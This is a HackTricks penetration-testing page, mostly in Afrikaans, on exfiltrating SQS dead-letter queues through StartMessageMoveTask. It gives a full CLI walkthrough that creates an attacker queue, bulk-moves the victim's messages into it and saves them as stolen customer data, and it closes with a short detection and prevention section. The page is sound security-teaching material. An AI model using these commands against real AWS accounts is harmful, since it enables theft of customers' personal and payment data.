AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Beskrywing

Misbruik SQS message move tasks om alle opgehoopte boodskappe van ’n slagoffer se Dead-Letter Queue (DLQ) te steel deur hulle na ’n deur die aanvaller beheerde queue om te lei met sqs:StartMessageMoveTask. Hierdie tegniek benut AWS se geldige boodskapherstel-funksie om sensitiewe data wat oor tyd in DLQs opgehoop het te exfiltrate.

Wat is ’n Dead-Letter Queue (DLQ)?

’n Dead-Letter Queue is ’n spesiale SQS queue waar boodskappe outomaties gestuur word wanneer hulle nie suksesvol deur die hooftoepassing verwerk word nie. Hierdie mislukte boodskappe bevat dikwels:

  • Sensitiewe toepassingsdata wat nie verwerk kon word nie
  • Foutbesonderhede en debugging-inligting
  • Persoonlike identifiseerbare inligting (PII)
  • API-tokens, credentials, of ander geheime
  • Besigheidskritieke transaksiedata

DLQs dien as ’n “begraafplaas” vir mislukte boodskappe, wat hulle waardevolle teikens maak aangesien hulle oor tyd sensitiewe data opbou wat toepassings nie behoorlik kon hanteer nie.

Aanvalscenario

Werklike voorbeeld:

  1. E-commerce application verwerk kliëntbestellings via SQS
  2. Sommige bestellings misluk (betalingsprobleme, voorraadprobleme, ens.) en word na ’n DLQ verskuif
  3. DLQ stapel op weke/maande se mislukte bestellings met kliëntdata: {"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}
  4. Aanvaller kry toegang tot AWS credentials met SQS-permissies
  5. Aanvaller ontdek dat die DLQ duisende mislukte bestellings met sensitiewe data bevat
  6. In plaas van te probeer om individuele boodskappe te bekom (stadig en opvallend), gebruik die aanvaller StartMessageMoveTask om ALLE boodskappe in grootmaat na hul eie queue oor te dra
  7. Aanvaller onttrek alle historiese sensitiewe data in een operasie

Vereistes

  • Die bron-queue moet gekonfigureer wees as ’n DLQ (verwys deur ten minste een queue RedrivePolicy).
  • IAM-permissies (uitgevoer as die gekompromitteerde slagoffer-principal):
  • Op DLQ (bron): sqs:StartMessageMoveTask, sqs:GetQueueAttributes.
  • Op bestemmings-queue: toestemming om boodskappe te lewer (bv. queue policy wat sqs:SendMessage van die slagoffer-principal toelaat). Vir bestemmings in dieselfde rekening is dit tipies standaard toegelaat.
  • As SSE-KMS aangeskakel is: op bron CMK kms:Decrypt, en op bestemming CMK kms:GenerateDataKey, kms:Encrypt.

Impak

Potensiële impak: Exfiltrate sensitiewe payloads wat in DLQs opgehoop het (mislukte gebeurtenisse, PII, tokens, toepassingspayloads) teen hoë spoed deur ingeboude SQS APIs te gebruik. Werk kruis-rekening indien die bestemmings-queue-beleid SendMessage van die slagoffer-principal toelaat.

Hoe om misbruik te maak

  • Identifiseer die slagoffer DLQ ARN en verseker dat dit werklik as ’n DLQ verwys word deur ’n of ander queue (enige queue is goed).
  • Skep of kies ’n deur die aanvaller beheerde bestemmings-queue en kry sy ARN.
  • Begin ’n message move task vanaf die slagoffer DLQ na jou bestemmings-queue.
  • Monitor vordering of kanselleer indien nodig.

CLI-voorbeeld: Exfiltrating Customer Data from E-commerce DLQ

Scenario: ’n Aanvaller het gekompromitteerde AWS credentials en het ontdek dat ’n e-commerce toepassing SQS gebruik met ’n DLQ wat mislukte kliëntbestelverwerkingspogings bevat.

  1. Ontdek en ondersoek die slagoffer DLQ
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq

# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
  1. Skep attacker-controlled bestemming-queue
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

echo "Created exfiltration queue: $ATTACKER_Q_ARN"
  1. Voer die grootskaalse boodskapdiefstal uit
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
--source-arn "$SRC_ARN" \
--destination-arn "$ATTACKER_Q_ARN" \
--max-number-of-messages-per-second 100)

echo "Move task started: $TASK_RESPONSE"

# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
  1. Versamel die gesteelde sensitiewe data
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--attribute-names All --message-attribute-names All \
--max-number-of-messages 10 --wait-time-seconds 5

# Example of what an attacker might see:
# {
#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
#   "MessageId": "12345-abcd-6789-efgh"
# }

# Continue receiving all messages in batches
while true; do
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--max-number-of-messages 10 --wait-time-seconds 2 --output json)

if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
echo "No more messages - exfiltration complete!"
break
fi

echo "Received batch of stolen data..."
# Process/save the stolen customer data
echo "$MESSAGES" >> stolen_customer_data.json
done

Kruis-rekening notas

  • Die bestemmings-queue moet ’n resourcebeleid hê wat die benadeelde principal toelaat om sqs:SendMessage te gebruik (en, indien van toepassing, KMS-toekennings/toestemmings).

Waarom hierdie aanval effektief is

  1. Legitieme AWS-funksie: Gebruik ingeboude AWS-funksionaliteit, wat dit moeilik maak om as kwaadwillig op te spoor
  2. Grootmaat-bewerking: Dra vinnig duisende boodskappe oor eerder as stadige individuele toegang
  3. Historiese data: DLQs versamel sensitiewe data oor weke/maande
  4. Onder die radar: Baie organisasies monitor nie DLQ-toegang noukeurig nie
  5. Kruis-rekening in staat: Kan exfiltrate na die aanvaller se eie AWS-rekening as toestemmings dit toelaat

Opsporing en voorkoming

Opsporing

Monitor CloudTrail vir verdagte StartMessageMoveTask API-oproepe:

{
"eventName": "StartMessageMoveTask",
"sourceIPAddress": "suspicious-ip",
"userIdentity": {
"type": "IAMUser",
"userName": "compromised-user"
},
"requestParameters": {
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
}
}

Voorkoming

  1. Minimale regte: Beperk sqs:StartMessageMoveTask regte tot slegs die nodige rolle
  2. Moniteer DLQs: Stel CloudWatch alarms in vir ongebruiklike DLQ-aktiwiteit
  3. Kruis-rekeningbeleid: Gaan SQS queue policies wat cross-account access toelaat noukeurig na
  4. Enkripteer DLQs: Gebruik SSE-KMS met beperkte sleutelbeleide
  5. Gereelde opskoning: Moet nie sensitiewe data vir onbepaalde tyd in DLQs ophoop nie

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks